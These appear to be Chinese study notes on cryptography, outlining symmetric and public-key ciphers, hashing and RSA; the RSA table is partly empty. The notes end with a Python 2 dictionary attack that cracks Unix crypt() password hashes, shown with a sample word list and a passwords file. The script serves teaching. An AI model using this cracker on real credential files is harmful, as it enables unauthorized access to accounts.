- 密码学家的工具箱
对称密码,公钥密码,单向散列函数,消息认证码,数字签名,伪随机数生成器这六种技术统称为密码学家的工具箱。
2.密码与信息安全常识
(1)不要使用保密的密码算法
(2)使用低强度的密码比不进行任何加密更危险
(3)任何密码总有一天会被破解
(4)密码只是信息安全的一部分
3.对称密码(共享密钥密码)——用相同的密码进行加密和解密
比特序列运算和XOR运算,一种绝对无法被破译的密码——一次性密码本的密码系统,DES(Data Encryption Standard)、三重DES(Triple-DES)和AES(Advanced Encryption Standard,Rijndael)这几种对称密码算法。
4.分组密码的模式——分组密码是如何迭代的
5.公钥密码——用公钥加密,用私钥解密
RSA公钥密码算法
密钥对 | 公钥 | 数E和数N |
私钥 | 数D和数N | |
RSA加密 | ||
RSA解密 |
6.混合密码系统的加密解密流程
一个Python密码破解的例子程序:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictFile = open('dictionary.txt', 'r')
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word, salt)
if cryptWord == cryptPass:
print '[+] Found Password: ' + word + '\n'
return
print '[-] Password Not Found.\n'
return
def main():
passFile = open('passwords.txt')
for line in passFile.readlines():
if ':' in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ')
print '[*] Cracking Password For: ' + user
testPass(cryptPass)
if __name__ == '__main__':
main()
dictionary.txt
apple
orange
egg
lemon
grapes
secret
strawberry
password
passwords.txt
victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh
root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash